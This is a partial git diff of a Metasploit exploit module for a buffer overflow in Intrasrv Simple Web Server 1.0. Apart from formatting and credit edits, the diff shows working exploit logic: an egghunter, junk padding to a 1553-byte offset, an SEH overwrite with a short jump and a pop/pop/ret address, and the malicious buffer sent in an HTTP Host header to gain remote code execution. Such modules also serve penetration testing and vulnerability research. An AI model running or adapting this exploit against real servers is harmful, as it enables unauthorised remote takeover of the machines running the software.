@@ -17,17 +17,17 @@ def initialize(info={})
17
17
super ( update_info ( info ,
18
18
'Name' => "Intrasrv 1.0 Buffer Overflow" ,
19
19
'Description' => %q{
20
- This module exploits a boundary condition error in Intrasrv Simple Web
21
- Server 1.0. The web interface does not validate the boundaries of an
22
- HTTP request string prior to copying the data to an insufficiently large
23
- buffer. Successful exploitation leads to arbitrary remote code execution
24
- in the context of the application.
20
+ This module exploits a boundary condition error in Intrasrv Simple Web
21
+ Server 1.0. The web interface does not validate the boundaries of an
22
+ HTTP request string prior to copying the data to an insufficiently large
23
+ buffer. Successful exploitation leads to arbitrary remote code execution
24
+ in the context of the application.
25
25
} ,
26
26
'License' => MSF_LICENSE ,
27
27
'Author' =>
28
28
[
29
- 'xis_one@STM Solutions ' , # Discovery, PoC
30
- 'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
29
+ 'xis_one' , # Discovery, PoC
30
+ 'PsychoSpy <neinwechter[at]gmail.com>' # Metasploit
31
31
] ,
32
32
'References' =>
33
33
[
@@ -48,7 +48,7 @@ def initialize(info={})
48
48
'Platform' => 'win' ,
49
49
'Targets' =>
50
50
[
51
- [ 'v1.0 - XP/2003/ Win7' ,
51
+ [ 'v1.0 - XP / Win7' ,
52
52
{
53
53
'Offset' => 1553 ,
54
54
'Ret' => 0x004097dd #p/p/r - intrasrv.exe
@@ -85,15 +85,15 @@ def check
85
85
def exploit
86
86
# setup egghunter
87
87
hunter , egg = generate_egghunter ( payload . encoded , payload_badchars , {
88
- :checksum => true
89
- } )
88
+ :checksum => true
89
+ } )
90
90
91
91
# setup buffer
92
- buf = rand_text ( target [ 'Offset' ] -126 ) # junk to egghunter at jmp -128
93
- buf << hunter # egghunter
94
- buf << rand_text ( target [ 'Offset' ] -buf . length ) # more junk to offset
95
- buf << "\xeb \x80 " + rand_text ( 2 ) # nseh - jmp -128 to egghunter
96
- buf << [ target . ret ] . pack ( "V*" ) # seh
92
+ buf = rand_text ( target [ 'Offset' ] -126 ) # junk to egghunter at jmp -128
93
+ buf << hunter # egghunter
94
+ buf << rand_text ( target [ 'Offset' ] -buf . length ) # more junk to offset
95
+ buf << "\xeb \x80 " + rand_text ( 2 ) # nseh - jmp -128 to egghunter
96
+ buf << [ target . ret ] . pack ( "V*" ) # seh
97
97
98
98
# second last byte of payload/egg gets corrupted - pad 2 bytes
99
99
# so we don't corrupt the actual payload
@@ -104,7 +104,7 @@ def exploit
104
104
# instead of HttpClient here to maximize control over what's sent.
105
105
# (i.e. no additional headers to mess with the stack)
106
106
connect
107
- sock . put ( "GET / HTTP/1.0\r \n Host: #{ buf } \r \n #{ egg } " )
107
+ sock . put ( "GET / HTTP/1.0\r \n Host: #{ buf } \r \n \r \n #{ egg } \r \n \r \n " )
108
108
disconnect
109
109
end
110
110
end
0 commit comments